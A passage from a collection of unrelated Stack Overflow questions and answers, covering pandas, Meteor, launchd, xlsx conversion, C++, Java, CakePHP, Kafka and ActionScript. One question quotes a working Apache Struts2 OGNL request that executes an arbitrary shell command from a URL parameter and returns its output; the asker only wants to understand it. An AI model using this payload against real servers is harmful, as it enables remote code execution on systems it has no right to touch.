                  "30": None,"31": None,"32": None,"33": None,"34": None,"35": None,"36": None,"37": None,"38": None,"39": None,"40": None,
                  "41": None,"42": None,"43": None,"44": None,"45": None,"46": None,"47": None,"48": None,"49":7.19},
         "Comp5":{"0":6.72,"1": None,"2": None,"3": None,"4": None,"5": None,"6": None,"7": None,"8":5.79,"9": None,
                  "10": None,"11": None,"12":10.55,"13":11.4,"14": None,"15":8.27,"16":5.01,"17": None,"18": None,
                  "19":4.71,"20": None,"21":5.49,"22": None,"23": None,"24": None,"25": None,"26": None,"27":6.46,
                  "28": None,"29": None,"30": None,"31":3.94,"32": None,"33": None,"34": None,"35": None,"36":5.0,"37":5.0,
                  "38": None,"39": None,"40":4.31,"41":4.7,"42": None,"43": None,"44": None,"45": None,"46": None,"47":4.64,
                  "48": None,"49": None},
         "Comp4":{"0":4.49,"1": None,"2": None,"3": None,"4": None,"5": None,"6":3.09,"7": None,"8":4.39,"9":4.59,
                  "10": None,"11": None,"12":10.79,"13":11.09,"14":5.13,"15":6.89,"16":4.39,"17":6.67,"18":3.59,
                  "19":5.21,"20":4.29,"21":4.99,"22":3.89,"23":5.39,"24": None,"25": None,"26":6.09,"27":6.09,
                  "28":2.89,"29": None,"30":2.19,"31":3.79,"32":3.32,"33":3.39,"34":3.39,"35":3.39,"36":6.29,
                  "37":6.29,"38":3.99,"39":2.89,"40":3.59,"41":4.99,"42":4.69,"43":2.89,"44":2.59,"45":2.19,
                  "46":2.99,"47":4.99,"48":2.99,"49": None},
         "Comp2":{"0":4.77,"1":13.66,"2": None,"3":11.38,"4":14.59,"5": None,"6": None,"7":4.99,"8":4.99,"9": None,"10": None,
                  "11": None,"12":9.845,"13":13.12,"14": None,"15":11.23,"16":4.67,"17": None,"18":3.82,"19":3.88,"20":3.48,
                  "21":5.7,"22": None, "23":7.69,"24":8.18,"25": None,"26":8.99,"27": None,"28":1.95,"29":4.87,"30":1.72,
                  "31":2.69,"32":2.82,"33": None,"34": None,"35":2.43,"36":3.98,"37":3.98,"38":3.28,"39": None,"40": None,
                  "41":4.39,"42":3.99,"43":1.97,"44": None,"45":1.72,"46":2.49,"47": None,"48":2.48,"49":6.39},
         "Comp3":{"0":6.6833333333,"1": None,"2": None,"3": None,"4": None,"5": None,"6":3.79,"7":4.12,"8":5.46,
                  "9": None,"10": None,"11": None,"12":13.57,"13":14.1233333333,"14":4.52,"15":10.035,"16":5.2066666667,
                  "17":6.23,"18":4.095,"19":6.4733333333,"20":5.3866666667,"21":5.025,"22":4.41,"23":7.525,
                  "24":8.38,"25": None,"26":7.42,"27":6.85,"28":3.21,"29": None,"30":2.3733333333,"31": None,"32":4.315,
                  "33": None,"34": None,"35": None,"36": None,"37": None,"38":4.7133333333,"39":3.495,"40":3.8833333333,
                  "41":5.73,"42":5.73,"43":3.495,"44": None,"45":2.575,"46":3.495,"47":5.79,"48":3.47,"49":8.21}}

df = pd.DataFrame(data)

For each brand and each comp[n], I'm looking to get the average store price over the comp[n] price where there is a price for both that comp[n] and a store price. I had tried something like:
brand = df.groupby('brand')['store_price','Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5'].mean()

for comp in ['Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5']:
    brand[comp] = 1.0 * (brand['store_price']/brand[comp])

This clearly didn't work because each Comp[n]'s average was being compared to the average across the entire brand for StoreName. It strictly needs to be a dollar to dollar ratio of items that have a price for both comp[n] and StoreName reflected as store_price.
I was thinking I might have to run something like:
for i in df.index:
    for comp in ['Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5']:
        df.loc[i, comp] = 1.0*(df.loc[i, 'store_price']/df.loc[i,comp])

 brand = df.groupby('brand')['Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5'].mean().reset_index()

However, I feel that there has to be a more intelligent way to slice the data, run the computations, and then paste those slices back over the dataframe.

A: Let's try this:
comp_cols = ['Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5']
df1 = df.set_index('brand')
brand = (1 / df1[comp_cols]).mul(df1['store_price'], axis=0)\
                          .groupby(level=0).mean().reset_index()

print(brand)

Output:
        brand     Comp1     Comp2     Comp3     Comp4     Comp5
0   Brand1       NaN  0.941300  0.671820  1.000000  0.668155
1   Brand2  0.950219  1.090807       NaN       NaN       NaN
2   Brand3       NaN  0.741483  0.753343  0.878689  0.682211
3   Brand4       NaN       NaN       NaN  0.816993       NaN
4   Brand5  0.356250       NaN       NaN       NaN       NaN
5   Brand6  0.646914  0.884963  0.822998  0.936476  0.856191
6   Brand7  0.688456  0.774648  0.602923       NaN       NaN
7   Brand8       NaN  1.122867  0.721023  0.848478  0.902602
8   Zuke's  0.780908  0.778390  0.704790  0.810380  0.772446
9  ƒBrand6  0.545962  1.091925  0.792189  0.996293  1.018957

A: To avoid the nested loops, consider an update across columns with anonymous lambda function in an apply.
df.update(df[['Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5']].\
     apply(lambda col: df['store_price'] / col, axis=0))

brand = df.groupby('brand')['Comp1', 'Comp2', 'Comp3', 'Comp4', 'Comp5'].mean().reset_index()


text:
Q: Meteor Server Side Rendering data My problem is on Meteor project, using React and React Router v4 with Server Side Rendering.
I would like show my posts on client side. When my page is loaded, my posts Array is displayed, but after client load, my posts Array is empty.
My createContainer function :
export default createContainer(() => {
  const posts = Post.find({ 'draft': false }).fetch();
  return {
    posts: posts
  };
}, PostList);

The data on server are good, but on my client, the data is empty. Maybe my problem is on my routes ?
My routes on client side :
const Routes = () => {
  return (
    <BrowserRouter>
      <Switch>
        <AppLayout exact path='/' component={Home} />
        <AppLayout exact path="/blog" component={Blog} title={Trans.page.blog.title} />
        <AppLayout path='/blog/:slug' component={Article} title={Trans.page.blog.title} subtitle />
      </Switch>
    </BrowserRouter>
  );
}

And my routes on server side :
const Routes = (props) => {
  const context = {};
  return (
    <StaticRouter location={props.location} context={context}>
      <Switch>
        <AppLayout exact path='/' component={Home} />
        <AppLayout exact path="/blog" component={Blog} title={Trans.page.blog.title} />
        <AppLayout path='/blog/:slug' component={Article} title={Trans.page.blog.title} subtitle />
      </Switch>
    </StaticRouter>
  );
}

My problem is that the data loaded on the server side does not stay on the client once loaded :(
Anyone have idea ?
Than you community !

A: A subscription needs to be made on the client side, as indeed it does not get the data otherwise.
export default createContainer(() => {
  if (Meteor.isClient) {
     Meteor.subscribe('subName')
  }
  const posts = Post.find({ 'draft': false }).fetch();
  return {
    posts: posts
  };
}, PostList);

You first receive the data because they are available on server side automatically. Which also means you have to be very careful with the data you fetch, because the server-side rendering will not use the publish method as a reference. Your filter in the Collection.find({}) has to be relevant to the server as well.


text:
Q: Run multiple Python scripts in one Launchd .plist file Is it possible to run more than one Python script in one Launchd .plist file?
I have the following, and it only runs the first script
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.test</string>
        <key>ProgramArguments</key>
        <array>
                <string>/Users/cherryleheu/opt/anaconda3/bin/python3</string>
                <string>/path/hello.py</string>
                <string>/path/goodbye.py</string>

        </array>
        <key>StartInterval</key>
            <integer>30</integer>

</dict>
</plist>


text:
Q: XLSX to CSV file convert for API call Im trying to convert .xlsx file to .csv file before i send it to the API (because it accepts only .csv files) ;
I am using package xlsx and i got this function that converts it for me but problem is that this function will make the user download the file, and i don't want that i just want that it saves it kinda in like a object so i can use it only for the api (and don't let know the user that its converted ).
Here is code:
    file.arrayBuffer().then(res => {
            let data = new Uint8Array(res)
            let workbook = XLSX.read(data, {type: "array"})
            let first_sheet_name = workbook.SheetNames[0]
            let worksheet = workbook.Sheets[first_sheet_name]
            let jsonData = XLSX.utils.sheet_to_json(worksheet, {raw: false, defval: null})
            let fileName;
            if (file) {
                fileName = file?.name.substring(0, file?.name?.indexOf("."))
            }
            let new_worksheet = XLSX.utils.json_to_sheet(jsonData);
            let new_workbook = XLSX.utils.book_new();
            XLSX.utils.book_append_sheet(new_workbook, new_worksheet, "csv_sheet")

            getRandomRows(jsonData)
            XLSX.writeFile(new_workbook, fileName + ".csv")

        })

Was wondering if there are other options too.

A: Based on Readme from xlsx try to use writeFileAsync or just write instead of writeFile as it force browser to start download

A: I fixed it this way :
        let dataToSheet = XLSX.utils.json_to_sheet(data)
        const dataFileCSV = XLSX.utils.sheet_to_csv(dataToSheet, {raw: false, defval: null});
        let blob = new Blob(["\ufeff", dataFileCSV]);
        let fileBlob = new File([blob], "name");


text:
Q: Adding Entities and updating RIA domain service at runtime I have a requirement to deliver an app built in silverlight. Once the app has been built and delivered, any new modules that the user would request should be created as separate apps/xap and the user should be able to import the new module into the application. Its like adding new apps in an iphone.
Now prism/mef do allow this kind of capability for the front end but the problem is with the database end. I can add some logic to create new tables for the new module but how can I update the RIA services and edmx file to handle the entities for the new module.
Is it really possible in RIA? or is there any other technology out there that supports this kind of dynamic db update?
Thanks

A: Just update the model and then re-generate the ria services... any extra code that you write for either ria services or entity framework you should use partial class extensions so that your code doesnt get erased upon updating either.


text:
Q: How to read data from a text file at compile time in this case? I know the title of the question might make it look to be a duplicate question but its not so. I have tried almost all the solutions given here on stackoverflow..A way to read data out of a file at compile time to put it somewhere in application image files to initialize an array.
My problem is I am using a C++ code and I am using some of the open cv libraries and functions as well. I have a main function OsiMain.cpp and this has the code as
My Code:
int main (int argc, char * argv[])
{
try
{
    OsiManager osi ;
    osi.loadConfiguration(argv[1]) ;
    osi.showConfiguration() ;
    osi.run() ;
}
catch ( std::exception & e )
{
        std::cout << e.what() << std::endl ;
    }

return 0 ;

OsiManager is another class.This class manages all the files, configuration, saving and loading options. It uses OsiEye class to execute technical processings.
In the OsiManager constructor we initialise the value of some of the parameters that the code will need. The constructor part of the OsiManager code is given below
// Default constructor
OsiManager::OsiManager ( )
{
    mMapInt["Minimum diameter for pupil"] = &mMinPupilDiameter ;
    mMapInt["Maximum diameter for pupil"] = &mMaxPupilDiameter ;
    mMapInt["Minimum diameter for iris"] = &mMinIrisDiameter ;
    mMapInt["Maximum diameter for iris"] = &mMaxIrisDiameter ;
    mMapInt["Width of normalized image"] = &mWidthOfNormalizedIris ;
    mMapInt["Height of normalized image"] = &mHeightOfNormalizedIris ;
    mMapString["Gabor filters"] = &mFilenameGaborFilters ;
    mMapString["Application points"] = &mFilenameApplicationPoints ;

    // Initialize all parameters
    initConfiguration() ;
}

void OsiManager::initConfiguration ( )
{
    mMinPupilDiameter = 50;
    mMaxPupilDiameter = 160;
    mMinIrisDiameter = 160;
    mMaxIrisDiameter = 280;
    mWidthOfNormalizedIris = 512;
    mHeightOfNormalizedIris = 64;
    mFilenameGaborFilters = "/home/Iris_Osiris_v4.1/OsirisParam/filters.txt" ;
    mFilenameApplicationPoints = "/home/Iris_Osiris_v4.1/OsirisParam/points.txt" ;
   mGaborFilters.clear();
   mpApplicationPoints = 0 ;

}
These values are getting initialized in the constructor. In the function initconfiguration we can see two file paths mfilenameGaborFilter and mfilenameApplication points. These give the paths of two file names. Thse files basically have huge matrices like 9 by 15 , 9 by 25. These matrices are being read into the variables mGaborFilters and mpApplicationPoints which are of type vectorCvMat* and CvMat* respectively.The functions being used to read these files into variables are given below as loadGaborFilters and loadApplicationPoints respectively.
void OsiManager::loadGaborFilters( )
{
    // Open text file containing the filters
    ifstream file(mFilenameGaborFilters.c_str(),ios::in) ;
    if ( ! file )
    {
        throw runtime_error("Cannot load Gabor filters in file " + mFilenameGaborFilters) ;
    }

    // Get the number of filters
    int n_filters ;
    file >> n_filters ;
    mGaborFilters.resize(n_filters) ;

    // Size of filter
    int rows , cols ;

    // Loop on each filter
    for ( int f = 0 ; f < n_filters ; f++ )
    {
        // Get the size of the filter
        file >> rows ;
        file >> cols ;

        // Temporary filter. Will be destroyed at the end of loop
        mGaborFilters[f] = cvCreateMat(rows,cols,CV_32FC1) ;

        // Set the value at coordinates r,c
        for ( int r = 0 ; r < rows ; r++ )
        {
            for ( int c = 0 ; c < cols ; c++ )
            {
                file >> mGaborFilters[f]->data.fl[r*cols+c] ;
            }
        }

    } // Loop on each filter

    // Close the file
    file.close() ;

} // end of function

// Load the application points (build a binary matrix) from a textfile
void OsiManager::loadApplicationPoints ( )
{
    // Open text file containing the filters
    ifstream file(mFilenameApplicationPoints.c_str(),ios::in) ;
    if ( ! file )
    {
        throw runtime_error("Cannot load the application points in " + mFilenameApplicationPoints) ;
    }

    // Get the number of points
    int n_points = 0 ;
    file >> n_points ;

    // Allocate memory for the matrix containing the points
    mpApplicationPoints = cvCreateMat(mHeightOfNormalizedIris,mWidthOfNormalizedIris,CV_8UC1) ;

    // Initialize all pixels to "off"
    cvSet(mpApplicationPoints,cvScalar(0)) ;

    // Local variables
    int i , j ;

    // Loop on each point
    for ( int p = 0 ; p < n_points ; p++ )
    {
        // Get the coordinates
        file >> i ; file >> j ;

        // Set pixel to "on"
        if ( i < 0 || i > mpApplicationPoints->rows-1 || j < 0 || j > mpApplicationPoints->cols-1 )
        {
            cout << "Point (" << i << "," << j << ") " ;
            cout << "exceeds size of normalized image : " ;
            cout << mpApplicationPoints->rows << "x" << mpApplicationPoints->cols ;
            cout << " while loading application points" << endl ;
        }
        else
        {
            mpApplicationPoints->data.ptr[(i)*mpApplicationPoints->cols+j] = 255 ;
        }
    }

    // Close the file
    file.close() ;

} // end of function

The above two functions are a part of a member function loadConfiguration of OsiManager class which is being called in the main function.
My problem is I want these files Gabor filter and Application points  to be read into the variables at compile time as we do not want to upload the files to the cluster along with the executables or the build.

A: You cannot do runtime file IO at compile time but since the source data is just text you can initialize a const char* string with the contents of those files (easy with C++11 raw string literals and copy and paste) and replace the ifstream in your init functions with a std::stringstream initialized with your string literal.


text:
Q: java - why instead of letter 'ת' (hebrew) typed the character ', when i trying to simulating the 'ת' key press? so, i'm i writting a program in java, and i need to similate the 'ת' key pressing, i changing the keyboard input language to hebrew and when i trying to simulate the 'ת' key pressing the written character is ',' (sometimes), why? and how i fixing it to write the 'ת' character?
The code snippet:
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

public class Test extends JFrame{
    private static Robot robot;

    public static void main(String[] args) {
        try {
            robot = new Robot();
        } catch (AWTException e1) {
            e1.printStackTrace();
        }

        JFrame win = new JFrame();
        win.setSize(200,100);
        JPanel panel = new JPanel();
        JButton button = new JButton("simulate");
        final JTextField textField = new JTextField();
        textField.setPreferredSize(new Dimension(100, 30));
        panel.add(textField);
        panel.add(button);
        win.add(panel);
        win.setVisible(true);
        button.addActionListener(new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                textField.requestFocus();
                robot.keyPress(0X2C);
                robot.keyRelease(0X2C);
            }
        });

    }
}

I have tried also to simulate the key code: KeyEvent.COMMA (also, dosen't work like i need..)
My operation system: Windows 10.
Please help.
Thank you.

A: I found this question and answer and there seems to be some solution in the top answer...
How to make the Java.awt.Robot type unicode characters? (Is it possible?)
Please try this (code available from https://github.com/johanwitters/stackoverflow.swing-hebrewkey)
package com.johanw.stackoverflow.hebrewkey;

import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;

public class Test extends JFrame{
    private static Robot robot;

    public static void main(String[] args) {
        try {
            robot = new Robot();
        } catch (AWTException e1) {
            e1.printStackTrace();
        }

        JFrame win = new JFrame();
        win.setSize(200,100);
        JPanel panel = new JPanel();
        JButton button = new JButton("simulate");
        final JTextField textField = new JTextField();
        textField.setPreferredSize(new Dimension(100, 30));
        panel.add(textField);
        panel.add(button);
        win.add(panel);
        win.setVisible(true);
        button.addActionListener(new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                textField.requestFocus();
//                pressUnicode(robot,0X5D4);
                pressUnicode(robot,0X2C);
/*
                robot.keyRelease(0X2C);
                robot.keyRelease(0X2C);
*/
            }
        });

    }

    public static void pressUnicode(Robot r, int key_code)
    {
        r.keyPress(KeyEvent.VK_ALT);

        for(int i = 3; i >= 0; --i)
        {
            // extracts a single decade of the key-code and adds
            // an offset to get the required VK_NUMPAD key-code
            int numpad_kc = key_code / (int) (Math.pow(10, i)) % 10 + KeyEvent.VK_NUMPAD0;

            r.keyPress(numpad_kc);
            r.keyRelease(numpad_kc);
        }

        r.keyRelease(KeyEvent.VK_ALT);
    }
}


text:
Q: CORS Error in Pentaho 7.1 CE I am trying to integrate Pentaho 7.1 CE version with an Angular application and there I have to access the Pentaho context. For authentication purposes here, I am using a cookies-based API and passing the parameter. During this, I am getting the following error:

XMLHttpRequest cannot load
  http://localhost:8083/pentaho/j_spring_security_check. Redirect from
  'http://localhost:8083/pentaho/j_spring_security_check' to
  'http://localhost:8083/pentaho/Home;jsessionid=E0B8FFAFE57EDEC09DB8229457FAA7B4'
  has been blocked by CORS policy: No 'Access-Control-Allow-Origin'
  header is present on the requested resource. Origin
  'http://localhost:4200' is therefore not allowed access.

I have already enable CORS in Pentaho and modified the web.xml file located atpentaho-server\tomcat\conf:
<filter>
  <filter-name>CorsFilter</filter-name>
  <filter-class>org.apache.catalina.filters.CorsFilter</filter-class>
  <init-param>
    <param-name>cors.allowed.origins</param-name>
    <param-value>*</param-value>
  </init-param>
  <init-param>
    <param-name>cors.allowed.methods</param-name>
    <param-value>GET,POST,HEAD,OPTIONS,PUT</param-value>
  </init-param>
  <init-param>
    <param-name>cors.allowed.headers</param-name>
    <param-value>Content-Type,X-Requested-With,accept,Origin,Access-Control-Allow-Origin,Access-Control-Request-Method,Access-Control-Request-Headers</param-value>
  </init-param>
  <init-param>
    <param-name>cors.exposed.headers</param-name>
    <param-value>Access-Control-Allow-Origin,Access-Control-Allow-Credentials</param-value>
  </init-param>
  <init-param>
    <param-name>cors.support.credentials</param-name>
    <param-value>true</param-value>
  </init-param>
  <init-param>
    <param-name>cors.preflight.maxage</param-name>
    <param-value>10</param-value>
  </init-param>
</filter>
<filter-mapping>
  <filter-name>CorsFilter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>

Can anyone suggest to me what I am missing here? Any idea how I can solve this problem?

A: I faced the same issue when I tried to create a webapi and consume it from an Angular2 web app. I fixed it by installing the nuget from https://www.nuget.org/packages/Microsoft.AspNet.WebApi.Cors
in the webapi solution. There's a how-to-use explanation of the nuget
which worked just fine for me.


text:
Q: How to integrate magento with code sniffer? i want to integrate magento with codesniffer.i tried a lot but did't get any solution can anybody help me How to integrate magento with code sniffer

A: Check The following steps it works for me http://www.summasolutions.net/blogposts/integrate-php-code-sniffer-and-php-mess-detector-phpstorm-magento-projects


text:
Q: What will be outputted and what logic executed from this Java code sent to an Apache Struts server? I am trying to understand the Java within this HTTP request related to remote code execution of an older Struts2 framework vulnerability.
I get the basics of the Java objects/classes/methods in use, but am unsure of what the output of this program would actually be. Would this output anything? What data would be stored in the "#d array?
My apologies if this question does not belong here.

GET request:

GET /?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#a=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[4096],#c.read(#d),#zz=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#zz.println(#d),#zz.close&command=expr 268409241 - 92738


text:
Q: Does someone know how to write cases environment in org-mode to export to wordpress? Using
\[
f_X(x) =
\begin{cases}
\frac{1}{B(\alpha,\beta)}x^{\alpha-1}(1-x)^{\beta-1} &, x\in (0,1)\\
0 &, \text{otherwise}
\end{cases}
\]

does not export correctly, and the equation does not appear in the html page.

A: This seems to work:
\begin{equation}
f_X(x) =
\begin{cases}
\frac{1}{B(\alpha,\beta)}x^{\alpha-1}(1-x)^{\beta-1} &, x\in (0,1)\\
0 &, \text{otherwise}
\end{cases}
\end{equation}


text:
Q: python minidom xml parser 3 <student id="1" student:name="robert">
 <sectionA>
  <class name="first"/>
 </sectionA>
</student>
<student id="2" student:name="lucky">
 <sectionB>
  <class name="first"/>
 </sectionB>
</student>
<student id="2" student:name="Dave">
 <sectionA>
  <class name="third"/>
 </sectionA>
</student>

from xml.dom import minidom

dom1 = minidom.parse("file.xml")
student = dom1.getElementsByTagName("student")
for b in student:
    sectionA = dom1.getElementsByTagName("sectionA")
    for a in sectionA:
        name = b.getAttribute("student:name")
        print name

This gives me the following output:
    robert
    lucky
    Dave
However I am expecting following output
Expected Output:
robert
Dave

A: In this line:
student = dom1.getElementsByTagName("student")

Actually get all items and then always something exists in a, then you tried to getAttribute from b! why b?
Perhaps last for is completely not necessary, you can use:
student = dom1.getElementsByTagName("sectionA")

And then get attribute with parentNode!
You can use parentNode() for example, you can change your code to this:
from xml.dom import minidom

dom1 = minidom.parse("file.xml")
student = dom1.getElementsByTagName("sectionA")

for b in student:
  print(b.parentNode.getAttribute("name"))

# Output:
# robert
# Dave

Ref: xml.de


text:
Q: Working with docker, if app needs redis does VM need redis? Yes this seems pretty obvious but I would rather not make an assumption, I do not feel this is information that I could easily google because of the nature of my environment, my environment is mac os x using virtualbox (ubuntu). I am using docker-machine and nodeBB.
If I am running a docker app inside a VM then do I need to make sure the required software dependancies for my app is installed within my virtualbox environment?
The reason for ask and why I am confused is I am using nodeBB and I setup a docker container inside a VM then run docker run --name test --link test-redis:redis -p 80:80 -p 443:443 -p 4567:4567 -P -t -i nodebb/docker:ubuntu
The nodeBB setup is actually running the setup which means node is installed I think, but then I get this error warn: NodeBB Setup Aborted. getaddrinfo ENOTFOUND a quick google and I found this https://community.nodebb.org/topic/6337/nodebb-setup-aborted which the theme of this post is redis is out of date or not configured correctly.
So I assume maybe that redis needs to be running on my VM (ubuntu) is this assumption correct or am I missing something?
I am trying to figure out why I am getting this error warn: NodeBB Setup Aborted. getaddrinfo ENOTFOUND
Thanks

A: Do you have a redis container running? You don't need to install redis in your VM but you do need to have the redis docker container running as your are linking to it (--link test-redis:redis)


text:
Q: Error monad in Python - did I do it right? Questions:

*

*Is this a monad?

*does this demonstrate a reasonable understanding of error monad?

*what am I missing?

*what else can I do with this code to flex monads more?

*i'm confused as to the relation of success/fail to "return"/"result"/"lift" (i think these are all the same concepts).

*how can we make the problem more complex, such that monads help us solve our pain points? monads help here because we abstracted away the if result != None plumbing, what other types of plumbing might I want to abstract, and how do monads (or 'monad combinators') help this pain?

I'm a bit underwhelmed.
# helpers for returning error codes
def success(x): return (True, x)
def fail(x): return (False, x)

# bind knows how to unwrap the return value and pass it to
# the next function
def bind(mv, mf):
    succeeded = mv[0]
    value = mv[1]

    if (succeeded): return mf(value)
    else: return mv

def lift(val): return success(val)

def userid_from_name(person_name):
    if person_name == "Irek": return success(1)
    elif person_name == "John": return success(2)
    elif person_name == "Alex": return success(3)
    elif person_name == "Nick": return success(1)
    else: return fail("No account associated with name '%s'" % person_name)

def balance_from_userid(userid):
    if userid == 1: return success(1000000)
    elif userid == 2: return success(75000)
    else: return fail("No balance associated with account #%s" % userid)

def balance_qualifies_for_loan(balance):
    if balance > 200000: return success(balance)
    else: return fail("Insufficient funds for loan, current balance is %s" % balance)

def name_qualifies_for_loan(person_name):
    "note pattern of lift-bind-bind-bind, we can abstract further with macros"
    mName =    lift(person_name)
    mUserid =  bind(mName, userid_from_name)
    mBalance = bind(mUserid, balance_from_userid)
    mLoan =    bind(mBalance, balance_qualifies_for_loan)

    return mLoan

for person_name in ["Irek", "John", "Alex", "Nick", "Fake"]:
    qualified = name_qualifies_for_loan(person_name)
    print "%s: %s" % (person_name, qualified)

output:
Irek: (True, 1000000)
John: (False, 'Insufficient funds for loan, current balance is 75000')
Alex: (False, 'No balance associated with account #3')
Nick: (True, 1000000)
Fake: (False, "No account associated with name 'Fake'")

A: Is this a monad? See the monad laws:

All instances of the Monad class should obey:

*

*"Left identity":
  return a >>= f  ≡  f a

*"Right identity":
  m >>= return  ≡  m

*"Associativity":
  (m >>= f) >>= g  ≡  m >>= (\x -> f x >>= g)

(return means success, >>= means bind)

*

*Left identity.  In your implementation, this could be:
bind(success(x), balance_qualifies_for_loan) == balance_qualifies_for_loan(x)

where x is some value and f is a monadic function.

*Right identity.  Again, this could be:
bind(m, success) == m

where m is a monadic value.

*Associativity.  This could be:
bind(bind(m,  userid_from_name), balance_from_userid)) ==
  bind(m, lambda x: bind(userid_from_name(x), balance_from_userid))

All of these could be written as unit tests to quickly check that these properties hold for many input values.
What is missing?

*

*each monad needs a different implementation of success and bind.  Putting these into an interface would allow you to write code generic over all implemented monads.

*based on the Haskell approach, you might want to implement some general monad combinators, such as >>, sequence and mapM.  These make monads very convenient to use.


text:
Q: Using .read() adds extra nonetype character input = open("ex3.txt")
DNA = input.read()
DNA2 = "AAAACCCGGT"
print "string=", DNA,"len=", len(DNA)
print "strin2=",DNA2,"len=",len(DNA2)

returns
>string= AAAACCCGGT
>len= 11
>strin2= AAAACCCGGT len= 10

As you can see, the two strings which appear identical have different lengths because when I load the input using input.read() the string ends in Nonetype (edit: actually ends in '\n')
Is there a way to load string input from a textfile without it ending in Nonetype?  Or should I just load as is and splice the input like DNA[:-1] assuming .read() will always have Nonetype as the final value?
Thanks for any tips :-D
Edit:  I supposed the reason I was confused about Nonetype is because of the error message:
"TypeError: cannot concatenate 'str' and 'NoneType' objects"  Anyways, calling .rstrip worked great thanks again everyone

A: .read on files in text mode will always \n iff there is a return character. This means that DNA[:-1]  can break if the line does not have another line after it.
One way to do what you want is DNA.rstrip(). This removes whitespace to the right of the string.
Also, you probably want .readline if you know you want to read a line. read reads the whole file, which may be several lines.


text:
Q: Model accessible to all other classes To access a model in another controller, currently I use the $this->loadModel('Setting') command within the class.
I want my model "Settings" be accessible by any other class, without requiring that I use all the time $this->loadModel('Setting'), how do I do that?

A: By default, CakePHP will automatically load the Model that 'fits' the controllername (e.g. the Post model will automatically loaded for the PostsController).
That is, if you didn't specify which models to load.
Manually specifying which Models to load in a Controller
As with most things in CakePHP, You can override this by manually overriding the 'automatic' settings; you can specify which models are to be used in a Controller via the $uses property;
public $uses = array(
    'ModelA',
    'ModelB',
);

This will load 'ModelA' and 'ModelB' in the Controller, which will be accessible via $this->ModelA and $this->ModelB inside the Controller.
The $uses property of a Controller will be merged with the $uses property of the AppModel, so if you add the Setting model to the $uses of your AppController, then it will be automatically loaded in every Controller that extends the AppController
Read the documentation: The App Controller
Ad-Hoc accessing a Model
If you need to access a Model anywhere in your project, but mainly if you only need to access if in certain conditions or inside a specific action, you can initiate a model via the ClassRegistry;
For example;
 $ModelA = ClassRegistry::init('ModelA');

Or, if you just need some data from the model, but don't need if after that;
 $projects = ClassRegistry::init('Project')->find('list');


text:
Q: remove action for model in rails_admin I have a problem. In my app I am using rails_admin gem. Everything is good except one thing. For some models I want to make possible only to delete them. Is there an easy way to do this?

A: In your rails_admin.rb file, you can add the default actions for your models in wich you can add exceptions as shown here.
Here is an exemple :
config.actions do
    dashboard                     # mandatory
    index                         # mandatory
    new do
      except ['SomeModel']
    end
    export
    bulk_delete
    show
    edit do
      except ['SomeOtherModel']
    end
    delete
    show_in_app
end

Here is the link to the rails_admin documentation about actions : https://github.com/sferik/rails_admin/wiki/Actions

A: try changing in the file: config/initilizers/rails_admin.rb you can comment out the actions that you don't want to allow!

A: You can do this using CanCan: https://github.com/sferik/rails_admin/wiki/Cancan
add this to your ability.rb file:
cannot :manage, Model # disable all actions for this model
can :destroy, Model # enable only to remove


text:
Q: Kafka streams - Trying to filter data from the streams and write to another topic. But returns empty countInput is the KStream here.
countInput.print(Printed.toSysOut());

I get output as below
null, {def=;abc=123;ghi=}

I try to get count of "abc= " alone.
KTable<String, Long> Counts = countInput.flatMapValues(value -> Arrays.asList(value.toLowerCase(Locale.getDefault()).split(";"))).groupBy((key,value) -> value).count();

Counts.filter((key,value) -> key.startsWith("ABC="));

But above code doesnt seem to work. Any inputs. Thanks.

A: You are converting all the value to LowerCase in flatMapValues operation while filter operation has comparison with UpperCase.
Counts.filter((key,value) -> key.startsWith("ABC="));

Hence it won't match any key in the stream and return empty. Replace "ABC=" to "abc="
Counts.filter((key,value) -> key.startsWith("abc="));


text:
Q: ActionScript 3.0 работа с XML Всем привет, прошу помощи.
Во Flash Builder 4.5 пытаюсь подключиться к XML файлу, но что-то не срабатывает.
Ниже код(точнее, кусок кода до ошибки):
<fx:Script>
    <![CDATA[
        import flash.display.Sprite;
        import flash.events.Event;
        import flash.net.URLLoader;
        import flash.xml;

        var myXML: XML = new XML();
        var XML_URL: String = "C:\req.xml";
        var myXMLURL: URLRequest = new URLRequest(XML_URL);
        var myLoader: URLLoader = new URLLoader(myXMLURL);

        myLoader.addEventListener(Event.COMPLETE, xmlLoaded);

и вот на последней строчке среда выдаёт ошибку:

Это строка содержит несколько выделений:
-1120: Обращение несуществующего свойства myLoader.
-1120: Обращение несуществующего свойства xmlLoaded.

Я в AS 3 новичок и никак не могу понять, в чём моя ошибка. Помогите, кто может, пожалуйста.

A: Насчет Flash Builder 4.5 не уверен, но в ADOBE FLASH ACTIONSCRIPT 3 это выглядит вот так.
События должны быть подключены полностью во FLASH, это выглядит так:

import fL.events.*;

В Вашем случае это так:
import Flash.events.*;

var xml:XML = new XML();
var xmlList:XMLList =new XMLList();

 var xmlRequest:URLRequest = new URLRequest('messages.xml');
    var loader:URLLoader = new URLLoader();
    loader.addEventListener (Event.COMPLETE,xmlLoaded);
    loader.load(xmlRequest);

У Вас отсутствует эта функция:
function xmlLoaded(e:Event):void
{
xml=XML(e.target.data);
xmlList = xml.children();
)

Да, и еще в ACTIONSCRIPT 3 путь "C:\req.xml" может вызвать ошибку, так как в строке есть обратный слеш, его необходимо экранировать - "C:\req.xml".


text:
